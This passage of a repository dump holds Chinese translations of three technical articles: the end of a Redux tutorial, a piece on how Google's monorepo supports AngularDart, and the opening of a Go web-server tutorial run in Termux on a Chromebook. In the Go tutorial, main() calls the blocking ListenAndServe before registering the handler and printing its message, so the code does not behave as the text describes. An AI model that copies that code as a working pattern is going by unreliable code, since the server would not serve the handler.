的 state 应用起来其实也很简单，甚至一般的 JS 代码也能够实现的很好，挑选正确的工具做正确的事，Redux 不总是那个合适的工具，不过我偏题了。\n\n## 初始化状态\n\n我们需要一个方式去告诉 Redux 改变计数器的值。\n\n还记得我们写的 `reducer` 函数吗？（当然你肯定记得，因为那是两分钟之前的事）。\n\n还记得我说过它会使用**当前状态**返回**新的状态**吗？好的，我再重复一次，实际上，它使用当前状态和一个 **action** 作为参数，然后返回一个新的状态，我们应该这样写：\n\n```\nfunction reducer(state, action) {\n  return {\n    count: 42\n  };\n}\n```\n\nRedux 第一次调用这个函数的时候会以 `undefined` 作为实参替代 `state`，意味着返回的是**初始状态**，对于我们来说，可能返回的是一个属性 `count` 值为 0 的对象。\n\n在 reducer 上面写初始状态是很常见的，当 `state` 参数未定义的时候，使用 ES6 的默认参数的特性为 `state` 参数提供一个参数。\n\n```\nconst initialState = {\n  count: 0\n};\n\nfunction reducer(state = initialState, action) {\n  return state;\n}\n```\n\n这样子试试呢，代码仍然会起作用，不过现在计数器停留在了 0 而不是 42，多么让人惊讶。\n\n## Action\n\n我们最后谈谈 `action` 参数，这是什么呢？它来自哪里呢？ 我们怎么用它去改变不变的 counter 呢？\n\n一个 “action” 是一个描述了我们想要改变什么的 JS 对象，为一个要求就是对象必须要有一个 `type` 属性，它的值应该是一个字符串，这里有一个例子：\n\n```\n{\n  type: \"INCREMENT\"\n}\n```\n\n这是另外一个例子：\n\n```\n{\n  type: \"DECREMENT\"\n}\n```\n\n你的大脑在快速运转吗？你知道接下来我们要做什么吗？\n\n## 对 Actions 做出响应\n\n还记得 reducer 的作用是用**当前状态**和一个**action**去计算出新的状态吧。所以如果一个 reducer 接受了一个 action 例如 `{ type: \"INCREMENT\" }`，你想要返回什么作为新的状态呢？\n\n如果你像下面这样想，那么你就想对了：\n\n```\nfunction reducer(state = initialState, action) {\n  if(action.type === \"INCREMENT\") {\n    return {\n      count: state.count + 1\n    };\n  }\n\n  return state;\n}\n```\n\n使用 `switch` 语句和 `case` 语句处理每一个 action 是很常见的写法把你的 reducer 函数写成下面这样子：\n\n```\nfunction reducer(state = initialState, action) {\n  switch(action.type) {\n    case 'INCREMENT':\n      return {\n        count: state.count + 1\n      };\n    case 'DECREMENT':\n      return {\n        count: state.count - 1\n      };\n    default:\n      return state;\n  }\n}\n```\n\n#### 总是返回一个状态\n\n你会注意到**函数**默认返回的是 `return state`。这很重要，因为 action 不知道要做什么，Redux 通过 action 去调用你的 reducer 函数。实际上 你接受的第一个 action 是 `{ type: \"@@redux/INIT\" }`。试着在 `switch` 前面写一个 `console.log(action)` 看看会打印出什么。\n\n还记得 reducer 的工作是返回一个**新状态**吧，即使当前状态没有发生改变也要返回。 你不想从 “有一个状态” 变成 “state = undefined” 吧？ 在你忘了 `default` 情况的时候就会发生这样的事，不要这样做。\n\n#### 永远不要改变状态\n\n永远不要去做这件事：不要**改变** `state`。State 是不可变的。你不可以改变它，意味着你不能这样做：\n\n```\nfunction brokenReducer(state = initialState, action) {\n  switch(action.type) {\n    case 'INCREMENT':\n      // 不，不要这样做，这样正在改变状态\n      state.count++;\n      return state;\n\n    case 'DECREMENT':\n      // 不要这样做，这也是在改变状态\n      state.count--;\n      return state;\n\n    default:\n      // 这样做是很好的.\n      return state;\n  }\n}\n```\n\n你也不要做这样的事，比如写 `state.foo = 7` 或者 `state.items.push(newItem)`，或者 `delete state.something`。\n\n把这想象为一场游戏，你唯一能做的事就是 `return { ... }`，这是一个有趣的游戏，一开始游戏有些让人抓狂，但是随着你的练习你会觉得游戏越来越有意思。\n\n我编写了一个简短的指南关于怎么去处理不可变的更新，展示了七种常见的包括对象和数组在内的更新模式。\n\n#### 所有的规则…\n\n总是返回一个状态，不要去改变状态，不要连接到每一个组件，吃你自己的西蓝花，不要在外面待着超过 11 点...，真累啊。这就像一个规则工厂，我甚至不知道那是什么。\n\n是的，Redux 可能就像一个霸道的父母。但是都是出于爱。来自函数式编程的爱。\n\nRedux 建立在不变性的基础上，因为改变全局的状态就是一条通向毁灭的道路。\n\n你是否使用一个全局对象去保存整个 app 的状态？一开始运行的很好，很容易，然后状态在没有任何预测的情况下发生了改变，而且几乎不可能去找到改变状态的代码。\n\nRedux 使用一些简单的规则去避免了这样的问题，State 是只读的，actions 是唯一修改状态的方式，改变状态只有一种方式：这个方式就是：action -> reducer -> 新的状态。reducer 必须是一个**纯函数**，它不能修改它的参数。\n\n有插件可以帮助你去记录每一个 action，追溯它们，你可以想象到的一切。从时间上追溯调试是创建  Redux 的动机之一。\n\n## Actions 来自哪里呢？\n\n让人迷惑的一部分仍然存在：我们需要一个方式去让一个 action 进入到我们的 reducer 中，我们才能增加或者减少这个计数器。\n\nAction 不是被生成的，它们是被**dispatched**的，有一个小巧的函数叫做dispatch。\n\n`dispatch` 函数由 Redux store 的实例提供，也就是说，你不可以仅仅通过 `import { dispatch }`获得 `dispatch` 函数。你可以调用 `store.dispatch(someAction)`，但是那不是很方便，因为 `store` 的实例只在一个文件里面可以被获得。\n\n很幸运，我们还有 `connect` 函数。除了注入 `mapStateToProps` 函数的返回值作为属性以外，`connect` 函数**也**把 `dispatch` 函数作为属性注入了组件，使用这么一点知识，我们又可以让计数器工作起来了。\n\n这里是最后的组件形式，如果你一直跟着写到了这里，那么唯一要改变的实现就是 `increment` 和 `decrement`：它们现在可以调用 `dispatch` 属性，通过它分发一个 action。\n\n```\nimport React from 'react';\nimport { connect } from 'react-redux';\n\nclass Counter extends React.Component {\n  increment = () => {\n    this.props.dispatch({ type: 'INCREMENT' });\n  }\n\n  decrement = () => {\n    this.props.dispatch({ type: 'DECREMENT' });\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Counter</h2>\n        <div>\n          <button onClick={this.decrement}>-</button>\n          <span>{this.props.count}</span>\n          <button onClick={this.increment}>+</button>\n        </div>\n      </div>\n    )\n  }\n}\n\nfunction mapStateToProps(state) {\n  return {\n    count: state.count\n  };\n}\n\nexport default connect(mapStateToProps)(Counter);\n```\n\n整个项目的代码（它的两个文件）可以在[ Github](https://github.com/dceddia/redux-intro)上面找到。\n\n## 现在怎样了呢？\n\n利用 Counter 程序作为一个传送带，你可以继续学习会更多的 Redux 知识了。\n\n> “什么?! 还有更多?!”\n\n还有很多的地方我没有讲到，我希望这个介绍是容易理解的 – action constants, action 创建函数, 中间件, thunks 和异步调用, selectors, 等等。 还有很多。这个 [Redux docs](https://redux.js.org/) 文档写的很好，覆盖了我讲到的所有知识和更多的知识。\n\n你已经了解到了基本的思想，希望你理解了数据怎么 Redux 里面变化 (`dispatch(action) -> reducer -> new state -> re-render`)，reducer 做了什么，action 又做了什么，它们是怎么作用在一起的。\n\n我将会发布一个新的课程，课程涵盖到所有的这些东西和更多的知识！[这里登录](#ck_modal) 去关注.\n\n以循序渐进的方式学习 React，查看我的[书](https://daveceddia.com/pure-react/?utm_campaign=after-post) - 免费查看两个示例章节。\n\n就我而言，即使是免费的介绍也是值得的。 — Isaac\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/how-google-builds-a-web-framework.md",
    "content": "> * 原文地址：[How Google builds web frameworks](https://medium.freecodecamp.com/how-google-builds-a-web-framework-5eeddd691dea#.dv1nhpg5w)\n* 原文作者：[Filip Hracek](https://medium.freecodecamp.com/@filiph)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者： [fghpdf](https://github.com/fghpdf) \n* 校对者：[dubuqingfeng](https://github.com/dubuqingfeng)，[Germxu](https://github.com/Germxu)\n\n# Google 是如何构建 web 框架的\n\n![](https://cdn-images-1.medium.com/max/1000/1*QDS-kCgeF8ZJg_JSEwwIeA.jpeg)\n\n[众所周知](http://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext)，Google 通过一个有 20 亿行的代码仓库来分享代码，而且它是主从式架构的代码仓库。\n\n![](https://cdn-images-1.medium.com/max/800/1*3hPZNDocbp68XsbsJoZ-iQ.jpeg)\n\n对于不在 Google 的众多开发者来说，这件事非常的令人吃惊和违背常理，但是这个代码仓库却工作的非常好。（上面链接里的文章提供了很好的例子，所以我在此不再赘述。）\n\n> Google 的代码库为 Google 在全球各个国家和地区超过 2 万 5 千名的官方开发人员提供代码共享服务。在具有代表性的工作日中，这些开发者有 16,000 份代码修改提交给代码库。（[来源](http://cacm.acm.org/magazines/2016/7/204032-why-google-stores-billions-of-lines-of-code-in-a-single-repository/fulltext)）\n\n这篇文章讲述构建一个开源 web 框架 [AngularDart](https://webdev.dartlang.org/angular) 的一些细节\n\n![](https://cdn-images-1.medium.com/max/800/1*42xyxKFKI9a0j0BWuHGIHg.jpeg)\n\n### 只有一个版本\n\n当你在一个巨大的项目中采用主从式的开发模式，这个项目中的任何东西都只有一个版本。即使这种情况显而易见，但这里还是指出一下，因为这种情况意味着  ——  在 Google  ——  不可能有一款叫做 FooBar 的应用程序用着 AngularDart 2.2.1 版本，而另一款叫做 BarFoo 的应用程序却用着 2.3.0 版本。所有的 app 都必须使用的是同一个版本 (AngularDart)  ——  最新的版本。\n\n![](https://cdn-images-1.medium.com/max/800/0*vdQqatZdTxZ9CUDs.)\n\n采集的图片来源于 [trunkbaseddevelopment.com](https://trunkbaseddevelopment.com/)\n\n这就是为什么 Google 的员工会说，他们的软件都采用的是及时更新的先进技术。\n\n如果你的整个灵魂尖叫着“危险”！现在是可以理解的。仅仅依靠处于生产环境中的代码仓库中的主干（类似 “master” 分支在 git 中）听起来很危险。但它却真实的在进行。\n\n### 每一个提交有着 7 万 4 千个测试\n\nAngularDart 定义了 1601 个测试 （[AngularDart 的测试](https://github.com/dart-lang/angular2/tree/master/test)）。但是当你在 Google 的仓库中提交了一份关于 AngularDart 的代码改动时，这个代码仓库就会让每一个依赖这个框架的 Google 员工执行测试。目前，一份提交大约有 7 万 4 千个测试（这取决于你提交的代码有多大的改动  ——  一种让系统知道你的代码不会造成影响的启发式测试）\n\n![](https://cdn-images-1.medium.com/max/800/1*5VjjBOiVq74495vLAKctOg.png)\n\n多点测试总是好的。\n\n\n我做了一个仅能展现测试耗时 5% 的改动，就是在检测变化的算法中模拟了类似于竞争条件的东西（我添加了`&& random.nextDouble() > .05`这个语句到[这个条件中](https://github.com/dart-lang/angular2/blob/v2.1.0/lib/src/core/change_detection/differs/default_iterable_differ.dart#L386)）。当我在运行它们时（一旦），它并没有表现出有 1601 个测试的样子。但它确实打断了一系列的客户端测试。\n\n真正的价值在这里，即使这些测试是**实际的应用程序** 。他们不仅数量众多，而且还反映了开发人员如何使用框架（不仅仅是框架作者）。很有意思的是：框架所有者并不能够总是正确地估计他们的框架被如何使用。\n\n它还帮助那些在生产环境中的应用程序获得每月数十亿美金的流量。框架作者在业余时间做的演示程序与实际生产环境中的应用程序之间存在很大的区别，这些生产环境中的应用程序每年具有几十或几百个人的投资。如果在未来网页是相互关联的，我们就需要更好地支持后者的发展\n\n\n\n![](https://cdn-images-1.medium.com/max/800/1*DrJBfzzSTkGdmrlu6OnYfA.png)\n\n那么，如果框架破坏了基于它的一些应用程序，会发生什么呢？\n\n\n### 谁损坏，谁治理\n\n当 AngularDart 的作者们想引入一个具有破坏性的变化时，**他们不得不去为他们的用户修复它**。由于 Google 的所有内容都存在于单一的项目中，因此找出他们出问题的地方很容易，他们可以立即开始修复。\n\n对 AngularDart 的任何破坏性更改还包括所有依赖它的 Google 应用中对该更改的所有修复。因此破损和修复同时进入代码仓库  ——  当然  ——  是在所有相关方进行正确的代码审查后。\n\n让我们举一个具体一点的例子。当 AngularDart 团队中的某个人做了会影响 AdWords 应用中代码的变更时，他们会去查看该应用的源码并予以修正这个问题。他们可以在此过程中运行 AdWords 的现有测试，也可以添加新的测试。然后，他们把所有这些更改都放入他们的更改列表里，并要求进行代码审查。由于它们的更改列表涉及到 AngularDart 项目和 AdWords 项目中的代码，因此系统会自动要求这两个小组进行代码审查。只有这样，才能提交更改。\n\n![](https://cdn-images-1.medium.com/max/800/1*kbwhvH4lz1B-jRHBCEvAcA.png)\n\n这对处于早期不受影响的发展阶段的框架能起到很明显的保护。AngularDart 框架的开发人员可以使用他们的平台构建的数百万行代码，他们自己也经常接触那些代码。但他们不需要假设他们的框架被如何使用。（有一个警告很明显，他们只看到 Google 的代码，但这份代码而不是世界上所有的 Workivas、Wrikes 和 StableKernels 使用 AngularDart 的代码，也使用 AngularDart 的代码。）\n\n不得不升级用户的代码也会减慢开发速度。虽然没有你想象的那么多（看看 AngularDart 自十月以来的进展），但它仍然拖慢了很多事情。这种情况说好也行，说坏也可以，这取决于你想从一个框架中得到什么。我们会回来处理这个事的。\n\n无论如何。下次 Google 的某个员工说，某个代码库的 alpha 版本是稳定的版本和处于生产环境的版本，现在你知道是为什么了。\n\n### 大范围改动\n\n如果 AngularDart 需要做出重大突破性改变的时候（比如，从 2.x 版本到 3.0 版本）并且这个改变会使 7 万 4 千个测试失效的时候怎么办？团队会去修复这些测试吗？他们会去修改**成千上万**大部分不是他们写的源码吗？\n\n答案是：会。\n\n一个关于声音类型系统 [sound type system](https://www.dartlang.org/guides/language/sound-dart) 的很酷的事情是你的工具将会变得更加有用。在声音的 Dart 中，举个例子，工具可以确认某个声音是哪种类型的。从重构的角度来说，这意味着很多改动都是全自动的，不需要开发人员去确认。\n\n当类 Foo 里一个方法从 `bar()` 变成了 `baz()`，你可以通过整个 Google 项目来创建一个工具，来查找该 Foo 类及其子类的所有实例，并且把他们的 `bar()` 方法改为 `baz()` 方法。在那个 Dart 的声音类型系统中，你就可以确认这个改动不会破坏任何东西。在没有声音类型的情况下，任何一个小的改动都会让你陷入困境。\n\n![](https://cdn-images-1.medium.com/max/800/1*yxqdl9CBoB48XG0avf4piQ.gif)\n\n另一个能帮助你进行大范围修改的就是 [dart_style](https://github.com/dart-lang/dart_style) ，Dart 的默认格式化器。所有在 Google 的 Dart 的代码都是通过这个工具格式化的。当你的代码被审查的时候，它就会自动使用 dart 的样式工具自动格式化，所以没有关于是否把换行放在这里或那里的论据。这也适用于大范围的重构。\n\n### 性能指标\n\n正如我上面所说，AngularDart 受益于其依赖的测试。但测试仅仅是测试而已。Google 非常严格地衡量其应用的性能，所以大多数（所有？）生产环境中的应用都有基准套件。\n\n因此，当 AngularDart 团队引入了一项变化，导致 AdWords 速度下降1％时，他们在发生变化*之前*就知道会这样了。当这个团队在10月份[表示](https://www.youtube.com/watch?list=PLOU2XLYxmsILKY-A1kq4eHMcku3GMAyp2&amp;v=8ixOkJOXdMo)，AngularDart 应用程序自8月以来已经减少了 40％ 的体积，并且增长了 10％ 速度时，他们不是在探讨一些合成的小型 TodoMVC 示例应用。他们谈论的是现实生活中，承担关键任务的生产环境中的应用，数百万用户和兆字节的业务逻辑代码。\n\n![](https://cdn-images-1.medium.com/max/800/1*FFPofhArfE_q-ppyTkDniA.png)\n\n### 附注：封闭式构建工具\n\n你可能想知道：这个人怎么知道往 AngularDart 中这个巨大仓库的引入一点错误的代码后运行了哪些测试？当然，他不是手工挑选的 7 万 4 千次测试，而且肯定他没有运行 Google *所有*的测试。答案就是一个叫 Bazel 的东西。\n\n当处于这个规模的时候，你不能用一系列 shell 脚本来构建东西。因为会把事情弄得支离破碎和出奇得慢。这就是你为什么需要这个封闭式构建工具。\n\n“封闭” 在上下文中非常类似于函数领域中的“[pure](https://zh.wikipedia.org/wiki/%E7%BA%AF%E5%87%BD%E6%95%B0)”。你的构建步骤不会有副作用（就像临时文件，换了路径而已），并且它们的结果是确定的（相同的输入总是导致相同的输出）。在这种情况下，您可以在任何时间在任何机器上运行构建和测试，您将获得一致的输出。你不会再需要 `make clean` 这个命令。因此，您可以使用 build 或者 test 命令来来构建服务器并将其并行化。\n\n![](https://cdn-images-1.medium.com/max/800/1*sq_8UFpeBsxSIpBXpmWiSg.png)\n\nGoogle 花费了数年时间来开发这个构建工具。去年它开源啦，[开源地址](https://bazel.build/)。\n\n多亏了这个基础设施，内部测试工具可以确定每个产生影响的 build 或者 test 命令，并在合适的时候运行它们。\n\n### 它意味着什么？\n\nAngularDart 的明确目标是在提高生产力，性能和可靠性方面上来建立大型 Web 应用程序。这篇文章希望涵盖最后一部分 — 可靠性，以及为什么如此重要的 Google 应用，如 AdWords 和 AdSense 使用这个框架。这不只是团队吹嘘自己的用户 — 如上所述，有大型内部用户的存在使得 AngularDart 不太可能引入表面的变化。所以使框架更可靠。\n\n![](https://cdn-images-1.medium.com/max/800/1*BjhLEoihrMr6eRcTYL50ag.png)\n\n如果你正在寻找一个框架，它使得你的代码进行重大检修，并引入了最近几个月的主要功能，AngularDart 绝对不适合你。即使 AngularDart 团队希望以这种方式构建框架，我认为这篇文章讲得很清楚了，他们没法这么做。然而，我们确信，留给框架发展空间是少一点新潮，多一点稳定。\n\n在我看来，预测开源技术栈能否得到长期良好的支持要看它的主要维护者是否把它当做业务的一部分。比如 Android、dagger、MySQL 和 git。这就是为什么我很高兴于 Dart 终于有了一个首选的 Web 框架（AngularDart），一个首选组件库（ [AngularDart Components](https://pub.dartlang.org/packages/angular2_components) 组件）和一个首选移动框架（ [Flutter](https://flutter.io/) ） ——  所有这些都用于构建 Google 的关键应用。"
  },
  {
    "path": "TODO/how-i-built-a-web-server-using-go-and-on-chromeos.md",
    "content": "* 原文地址：[How I built a web server using Go — and on ChromeOS](https://medium.freecodecamp.com/how-i-built-a-web-server-using-go-and-on-chromeos-3b83e4c2da5f#.rwir5yc1k)\n* 原文作者：[Peter GleesonFollow](https://medium.freecodecamp.com/@petergleeson1?source=post_header_lockup)\n* 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者：[xiaoyusilen](http://xiaoyu.world)\n* 校对者：[nicebug](https://github.com/nicebug)，[steinliber](https://github.com/steinliber)\n\n\n# 如何在 ChromeOS 下用 Go 搭建 Web 服务 #\n\n## Linux →ChromeOS →Android →Linux Emulator ##\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/2000/0*jHeP1Jefk_56SFZY.jpg\">\n\n图片来自 [WikiMedia](https://upload.wikimedia.org/wikipedia/commons/6/69/Wikimedia_Foundation_Servers-8055_35.jpg) \n\n有时会有人问我：「你究竟为什么要用 Chromebook 做 Web 开发呢？」。大家似乎不相信我能够在一台定位为简单易用的机器上学习全栈 Web 开发。\n\n事实上我对在圣诞打折季买的这玩意没有抱太大的期望。我觉得它就是个带有编辑器和浏览器的低成本设备，可以随时随地学习前端开发和看 YouTube。此外，我也十分热衷于「云计算」这个概念，它代表着未来的趋势。\n\n事实证明，这个小的机器居然有带给我意外惊喜的本事。它的启动速度实在是快，电池续航能力很强，并且在无处不在的「云」的帮助下，你几乎可以做所有你可以在其他机器上完成的事情。另外，我选择的机型有一个触摸屏，它可以向后翻折不同的角度而成为一个平板电脑，或者像「帐篷」一样立起来，或者摆成任何你觉得看着很酷的姿势。\n\n在过去几个星期中，我对后端开发更感兴趣（一部分原因是因为我对 CSS 实在是抓狂）。我学习了关于如何在 Chromebook 上安装 Ubuntu Linux（如果我理解的正确的话，ChromeOS 就是基于 Linux 内核基础上开发的）。本来我是要安装 Ubuntu 的，但是它涉及到切换到开发者模式的步骤，并且需要抹掉本地存储并且要关闭 ChromeOS 中所有出色的安全功能。由于以上原因我决定找其他解决方案。\n\n我发现 ChromeOS 运行的特别好。Google 已经在一些 Chromebook 机型上安装了一些 Android 应用，除了设计和用户体验不是很好之外，Android 手机上可以运行的任何程序都可以顺利地在 ChromeOS 上运行。例如，我安装了一个叫 [Termux](https://termux.com/) 的应用，它是一个在 Android 上不需要 root 权限的 Linux 模拟器。最近我一直在摆弄这个模拟器，现在我可以告诉你，[Fredrik Fornwall](https://medium.com/@fornwall) 做的这东西太棒了，令我印象深刻。\n\n我照着 [Aurélien Giraud](https://medium.com/@aurerua) 写的几篇[文章](https://medium.freecodecamp.com/building-a-node-js-application-on-android-part-1-termux-vim-and-node-js-dfa90c28958f)开始搭建环境。惊喜的是，还没用一杯咖啡的工夫，我就在 Chromebook 上运行起了 Node.js 的服务和一个 NeDB 数据库，而且根本不需要切换到开发者模式。如果你有个安卓设备，我强烈建议你收藏下 Aurélien 的教程并且照着试试。不需要多久，就能在手机上运行起来一个 Node.js 服务。\n\n虽然现在我用 Node 用的很爽，但是我也对一些写服务端的语言感兴趣，打算挑出几个作为深入研究的备选语言。[Go](https://tour.golang.org/welcome/1) 是我正在学习的语言之一，它是 Google 在 2009 年推出的。现在已经变得十分热门，名列 2016 年[年度编程语言](http://insights.dice.com/2017/01/10/go-tiobe-programming-language-2016/)之中。\n\nGo 在某些方面很像 C 和 C++，并且它的设计确实受到了它们的影响。然而，创建 Go 的主要动机是不喜欢这些历史悠久语言的复杂性。因此，Go 特意设计成一种更容易使用的语言。\n\n#### 能简单多少？ ####\n\n例如，Go 语言中没有「while」循环。涉及到循环的时候，你有且只有一个选择：就是「for」循环。\n\n```go\n//一个经典的「while」循环\n\nfor i < 1000 {\n   //循环体\n   i++\n}\n```\n\nGo 语言中类型推导是可选的。你可以用标准写法声明并且初始化一个变量，也可以用简易的方法来隐式的赋值。或采取一个快捷方式和隐式分配类型。\n\n```go\nvar x int = 2\n\n//等同于\n\nx := 2\n```\n\n「if」和「else」的语句很简单：\n\n```go\nx := 5\n\nif x > 10 {\n   fmt.Println(\"Greater than 10\")\n} else {\n     fmt.Println(\"Less than or equal to 10\")\n}\n```\n\n同时 Go 的编译速度也很快，并且标准库中也提供了各种有用的包，这些包在网上都有很棒的文档。并且它们在很多[项目](https://en.wikipedia.org/wiki/Go_%28programming_language%29#Projects_using_Go)中被使用，包括一些家喻户晓的名字例如 Google，Dropbox，Soundcloud，Twitch 以及 Uber。\n\n我认为如果 Go 对这些公司来说都足够好的话，那么可能也值得你看一看。对于任何一个准备迈出他后端开发的第一步的人而言，我结合在 Termux 上使用 Go 的经验整理出了一些教程。如果你有一个 Android 设备，或者有一台在 Google Play 有访问权限的 Chromebook 上的，那么安装并且运行 Termux，我们就可以开始了。\n\n如果你有一个常规的 Linux 设备，也可以使用 Termux！Termux的教程对于[任何支持 Go 的平台](https://golang.org/doc/install)都是通用的。\n\n#### 从 Termux 开始 ####\n\n像其他的 Android 应用一样，Termux 只需要到应用商店搜索并点击安装，可以十分简单的下载安装到你的设备上。装好之后打开它你就会看见一个简洁的空命令行。这里我强烈推荐使用物理键盘（内置，USB 或者蓝牙键盘都可以），如果手头没有键盘，那么推荐你去下载一个叫「Hacker’s Keyboard」的安卓软件。\n\n正如 Aurélien 去年的教程中所说，Termux 很少被预装。所以在终端中运行以下命令：\n\n```shell\n$ apt update\n$ apt upgrade\n$ apt install coreutils\n```\n\n好。现在所有的东西都是最新的了，coreutils 将会帮助你更容易的切换到对应的文件目录。让我们看看我们现在在目录中的哪个位置。\n\n```shell\n$ pwd\n```\n\n这个命令会返回一个路径，会展示当前所在目录的位置。如果我们没有在 /home 下，那让我们到「home」文件夹下看看那里面有什么：\n\n```shell\n$ cd $HOME && ls\n```\n\n好，让我们为 Go 教程新建一个目录，然后到那个目录去。然后我们可以创建一个文件叫做「server.go」。\n\n```shell\n$ mkdir go-tutorial && cd go-tutorial\n$ touch server.go\n```\n\n如果我们输入「ls」，我们可以在目录中看到这个文件。现在，让我们先找一个文本编辑器。Aurélien 的教程推荐你使用 Vim，如果你喜欢用它，那就尽管用它。这里还有一个对待「初学者更加友好」的编辑器 nano。我们安装它，然后打开我们的 server.go 文件。\n\n```shell\n$ apt install nano\n$ nano server.go\n```\n\n棒！现在我们可以敲尽可能多的我们喜欢的代码了。但是在我们开始之前，让我们先安装一下 Go 编译器，因为我们需要编译器才能使我们的代码工作。使用 Ctrl+X 退出 nano，然后在命令行中输入：\n\n```shell\n$ apt install golang\n```\n\n现在，让我们回到 nano，然后开始写我们的服务端的代码。\n\n#### 搭建一个简单的 Web 服务 ####\n\n我们将写一个简单的程序来启动一个提供 HTML 页面的服务，这个页面让用户输入密码登录并且可以看到欢迎信息（或者如果密码错误的话会看到「对不起，请重试」这类的消息）。在 nano 中，我们写入以下代码：\n\n```go\n//搭建一个 Web 服务\n\npackage main\n\nimport (\n   \"fmt\"\n   \"net/http\"\n)\n```\n\n我们目前所做的是创建了一个包。Go 程序通常是在包中运行的。这是存储和组织代码的一种方式，并且让你可以更好更方便的调用其他包中的方法。事实上，这也是我们接下来要做的事情。我们已经告诉 Go 导入「fmt」包以及标准库中「net」包下的「http」包。这些包中的方法可以让我们可以使用「格式化 I/O」以及处理 HTTP 请求和响应。\n\n现在，让我们在网上做这个东西。我们继续写下以下代码：\n\n```go\nfunc main() {\n   http.ListenAndServe(\":8080\",nil)\n   fmt.Println(\"Server is listening at port 8080\")\n}\n```\n\n像 C，C++，Java 等等，Go 程序从一个 main() 函数开始。我们已经告诉服务器去监听 8080 端口的请求（可以任意选择一个不同的数字），并且打印一个信息让我们知道它正在做什么。\n\n好了！让我们保存这个文件（Ctrl+O），退出（Ctrl+X）然后运行我们的程序。在命令行中输入：\n\n```\ngo run server.go\n```\n\n这个命令将会让 Go 编译器编译并且运行这个程序。短暂的暂停后，程序应该运行了。你将希望看到以下输出：\n\n```\nServer is listening at port 8080\n```\n\n棒！你的服务器正在监听 8080 端口的请求，不幸的是，它不知道如何处理它接收到的请求，因为我们没有告诉它如何回应。这就是下一步，使用 Ctrl+C 结束服务程序，然后在 nano 中重新打开 server.go。\n\n#### 发送响应 ####\n\n我们需要服务器去「处理」请求，然后返回适当的响应。幸运的是，我们导入的「http」包使这些变得很容易。\n\n为了可读性更好，我们在 import() 和 main() 之间插入以下代码。我们可以在 main() 下面继续写代码，实际上在任意位置都是可以的，只要你喜欢就好。\n\n无论如何，让我们来写一个处理函数。\n\n```go\nfunc handler (write http.ResponseWriter, req *http.Request) {\n   fmt.Fprint(write, \"<h1>Hello!</h1>\")\n}\n```\n\n这个函数有两个参数，**write** 和 **req**。这两个参数的类型被定义为在「http」包中定义的 **ResponseWriter** 和 ***Request**，然后我们让服务中写一些 HTML 作为响应。\n\n为了使用这个函数，我们需要在 main() 函数中调用它，添加下面这些加粗的代码：\n\n```go\nfunc main() {\n   http.ListenAndServe(\":8080\",nil)\n   fmt.Println(\"Server is listening at port 8080\")\n   http.HandleFunc(\"/\", handler)\n}\n```\n\n我们添加的这一行从「http」包中调用 HandleFunc()。这个方法需要两个参数。第一个参数是一个字符串，第二个使用我们刚刚写的 handle() 函数。我们让服务器用 handle() 处理对 web 根目录下「/」的所有请求。\n\n保存并且关闭 server.go，然后到控制台，再次启动服务。\n\n```\ngo run server.go\n```\n\n同样，我们应该看到输出信息，让我们知道服务器正在监听请求。那么，为什么我们不发送请求呢？打开你的 Web 浏览器并且访问 [http://localhost:8080/](http://localhost:8080)。\n\nChromebook 对于其他浏览器的使用有着较大的限制，但是我发现 Chrome 在连接到任何本地端口的时候会有些不好用。从应用商店中下载 Mozilla Firefox for Android 可以解决这个问题。\n\n或者，你想完全留在 Termux（为什么不呢？），那就试试 Lynx。这是 1992 年推出的一个基于文本的浏览器。这里没有图片，没有 CSS，当然也没有 JavaScript。不过对于本教程来说是完全够用的，安装并运行它：\n\n```shell\n$ apt install lynx\n$ lynx localhost:8080\n```\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/1000/1*akBwgTRiLA3WG5PqpGJ2eQ.png\">\n\n在 Termux 中运行的 Lynx 浏览器中查看 Medium 的主页\n\n如果一切顺利，你应该在你选择的浏览器中看到一个标题「Hello！」。如果没有，回到 nano 然后检查 server.go 的代码。我第一次发现的错误包括在 import() 语句使用大括号 {}，而不是括号。还有搞错了一些看上去像是点的逗号（也许我应该用 Ctrl+Alt+「+」来放大 Termux 中的字）。\n\n#### 世界上最独特的网站 ####\n\n我们的服务现在用一个较短的 HTML 来响应 HTTP 请求。虽然算不上是下一个 Facebook，但是比我们之前距离更近了一些。我们来让它变得更有趣一点。\n\n总结一下：我们要做一个页面，要求用户输入密码。如果密码输入错误，用户会收到一条警告消息。如果密码输入正确，用户就会看到一个「欢迎！」的消息。因为它是你自己机器上的服务，所以只有你知道密码，因此它是一个**非常**独特的网站。\n\n首先，我们把 HTML 响应变得更有趣一些。让我们回到我们之前写的 `handler()`。粘贴所有以下的代码，以粗体替代已经存在的内容（全部都在一行）。一定要小心引用的部分！我在开始和结束的地方用了双引号，在 HTML 的部分用了单引号。确保一致。\n\n```go\nfunc handler (write http.ResponseWriter, req *http.Request) {\n   fmt.Fprint(write, \"<h1>Login</h1><form action='/log-in/' method='POST'> Password:<br> <input type='password' name='pass'><br> <input type='submit' value='Go!'></form>\")\n}\n```\n\n当我们运行服务的时候，HTML 应该呈现以下页面：\n\n<img class=\"progressiveMedia-noscript js-progressiveMedia-inner\" src=\"https://cdn-images-1.medium.com/max/800/1*akpgU8Iox9RqGoOC0SC40A.png\">\n\n前台：Mozilla Firefox for Android；后台：Lynx for 